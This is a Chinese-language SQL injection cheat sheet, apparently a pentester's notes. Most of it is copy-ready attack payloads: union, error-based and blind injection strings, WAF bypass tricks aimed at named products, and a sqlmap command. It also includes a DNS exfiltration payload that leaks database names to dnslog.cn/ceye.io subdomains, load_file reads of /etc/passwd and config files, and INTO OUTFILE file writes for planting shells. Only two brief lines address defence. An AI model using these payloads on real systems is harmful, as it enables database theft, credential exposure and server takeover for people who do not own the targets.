基本判断
-
定义:后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句
-
常见组合:
- asp+access/sqlserver
- aspx+sqlserver
- php+mysql
- jsp+mysql/sqlserver/oracle
-
静态与动态:
- 判断方式:
document.lastModified
,输出现在的时间,则为伪静态。或者直接将html改成jsp、php、asp
- 判断方式:
-
常见注入点:
- 文章的id
- 用户id
- 搜索框
- 登录框
- xff
- cookie等
-
是否有注入?
首先:
- 字符:
','),'"
- 数字:id=18-0页面正常,id=18/页面不正常
其次:
- and 1=1 页面正常 and 1=2 页面内容消失
- or/and sleep(5) --+ 检测时间注入
- and (select 1 from(select sleep(5)))
- 字符:
-
注释
- %23
- --+(+在mysql中代表空格)
-
空格
/**/
-
- %20
- %0a
- %a0
-
简单绕过
- %%%0a(多个%,代替空格,西部)
- id=123 an%%%d 1%%=%%1(%截断关键字,或者用/**/截断,宝塔)
- 安全狗:
?id=1 and 1=1
会被拦截------>fuid=123/*&id=1 and 1=1&bid=123*/
,加了两个原本不存在的参数。/**/注释是给安全狗看的,安全狗认为有fuid这个参数,而且安全狗不会拦截被注释的东西,安全狗就会放行。然而服务器并不会识别fuid,最终就会把注释中的id拨开来,带入到数据库查询 - get和post的转换
- 大小写,双写
- url编码
-
防御
- 写代码时,执行sql查询的语句中,将拼接上的可控变量用双引号包裹
- 将接受的id强制转换成数字类型
注入
常见的注入有BEUST:
- B:bool
- E:error
- U:union
- S:stack
- T:time
长字节截断注入
限制条件:
- 管理员和普通用户在同一个表中
- 用户名字段长度有一定限制,比如长度为10个字符
使用:
- 普通用户注册名称的时候可以设置成admin+++++++++++++++++
- 使其长度超过字段限制的长度,会自动截断,变成admin
- 这样数据库中又增加了一个admin账号
宽字节注入
php5.2.17默认开启,php5.3.0起默认关闭,php5.4.0移除
原因:魔术引号,所有的 '(单引号),"(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义。
注入限制:适用于gbk编码,对utf-8不起作用。window+gbk,linux+utf-8这两个是常见搭配,所以宽字节注入对linux一般不起作用
使用:
- id=1%df%27
sqlmap.py -u “cracer.com/xx.php?id=1” --risk 3 --dbms=mysql -p username --tamper unmagicquotes.py -v 3
Union注入
- 思路:order by获取表数--->union select查看回显点--->爆库-->
#爆库名
database()
#指定数据库,爆表名,hex了库名
id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,(select group_concat(table_name) from information_schema.tables where table_schema=0x66666),13,14,15
#指定表名,爆列名,只改了三处
id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,(select group_concat(column_name) from information_schema.columns where table_name=0x777777),13,14,15
#查数据
id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,group_concat(username,0x5c,pass),13,14,15 from this_is_flag
报错注入
前提:数据库开启报错提示
报错注入只能读取32位,当读取md5加密的密码时,结合mid使用
常用payload:
1.floor()
id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)
2.extractvalue()
id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
3.updatexml()
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
4.geometrycollection()
id=1 and geometrycollection((select * from(select * from(select user())a)b))
5.multipoint()
id=1 and multipoint((select * from(select * from(select user())a)b))
6.polygon()
id=1 and polygon((select * from(select* from(select user())a)b))
7.multipolygon()
id=1 and multipolygon((select * from(select * from(select user())a)b))
8.linestring()
id=1 and linestring((select * from(select * from(select user())a)b))
9.multilinestring()
id=1 and multilinestring((select * from(select * from(select user())a)b))
10.exp()
id=1 and exp(~(select * from(select user())a))
完整过程,以extractvalue()为例
#爆数据库名
id=33 and (extractvalue(1,concat(0x7e,(select database()),0x7e)))
#爆表名
id=33 and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x66666),0x7e)))
#爆列名
id=33 and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x777777),0x7e)))
#查数据,mid,substr,left,right等函数
id=33 and (extractvalue(1,concat(0x7e,(select concat(0x7e,length(flag),0x7e) from flagsss))))
id=33 and (extractvalue(1,concat(0x7e,(select flag from flagsss),0x7e)))
id=33 and (extractvalue(1,concat(0x7e,(select mid(flag,30,10) from flagsss),0x7e)))
盲注
常用payload:
1';IF((select+host_name())+!=+(select+@@SERVERNAME))+WAITFOR+DELAY+'0:0:5'--t //延时
1';IF((select+host_name())+=+(select+@@SERVERNAME))+WAITFOR+DELAY+'0:0:5'--t
0'XOR(if(now()=sysdate(),sleep(3),0))XOR'T
if((length(database())=8),5,0) //判断数据库长度,在sleep()的参数进行替换
if((mid(database(),1,1='y')),5,0)
if((substr(database(),1,1)>120),5,0) //数据库首字母
-
bool盲注
模板:
and if(substring((PAYLOAD),1,1)='第一个字母',1=1,1=2);
例子:
and if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',1=1,1=2);
-
时间盲注
模板:
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (延时函数) else 1 end)x);
- sleep:
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then sleep(5) else 1 end)x);
- benchmark:
select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (select benchmark(10000000,sha(1))) else 1 end)x);
- 笛卡尔积:这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积,但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,实际利用起来非常不好用。
SELECT count(*) FROM information_schema.columns A, information_schema.columns B; 套模板: select * from admin where id=1 and (select 1 from(select case when(user() like '%roo%') then (SELECT count(*) FROM information_schema.columns A, information_schema.columns B) else 1 end)x);
-
if:
模板:
and if(substring((PAYLOAD),1,1)='第一个字母',sleep(5),1);
例子:
id=1 and if((substr(select user(),1,1)='r'),sleep(2),1)
-
case:
模板:
case when(条件语句) then sleep(5) else 1 end;
例子:
and (select 1 from(select case when(ord(substr(database(),1,1))=105) then sleep(5) else 1 end)x) or '1'='1
- sleep:
dns注入
通过把我们的结果当作我们的域名的前缀传回 ,主要是利用load_file这个函数。
条件:
- 管理员权限
- secure_file_priv(如果为NULL,不允许输入输出;如果为空,允许)
- windows
payload:
and select load_file(concat('\\\\',database(),'.xw2elk.dnslog.cn\\abc'));
0'XOR(select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc')))XOR't
读写文件
根目录
select @@basedir
读取mysql安装路径- 一般mysql和apache在同一级,如mysql在d:/phpstudy/mysql,那apache可能在d:/phpstudy/apache/conf/httpd.conf
- 在apache的配置文件中找根目录
windows 写文件
条件:
- root
- secure_file_priv 要为空(或指定路径为我们可以访问到的)
- 魔术引号关闭(php5.2.17开启,5.3以后是关闭的,5.4移除)
SELECT 'XXXXXX' INTO OUTFILE '路径';
SELECT 'XXXXXX' INTO DUMPFILE '路径'; // 一般用于写二进制数据 win和linux读写语句一样
windows 读文件
条件:
- root
- secure_file_priv 要为空(或指定路径为我们可以访问到的)
select load_file('/etc/passwd'); //读文件
select load_file(0x16进制); //直接读读不出来的话,可能是魔术引号的问题,使用16进制读取,前面要加0x
常用:
and 1=2 union select 1,load_file('D:\php\APMServ5.2.6\www\htdocs\3\config.php'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
and 1=2 union select 1,load_file('C:\\Inetpub\\wwwroot\\mysqlsql\\inc\\set_sql.php'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
IIS6.0:
c:/windows/system32/inetsrv/metabase.xml
linux 写文件
实战中基本上写不进去
条件:
- root
- secure_file_priv 为空 或者要写入的文件夹刚好是secure_file_priv的特定文件夹
- 写shell的文件夹必须为777
- 文件大小: 必须小于max_allowed_packet
- 魔术引号关闭(php5.2.17开启,5.3以后是关闭的,5.4移除)
linux 读文件
条件:
- root
- 可读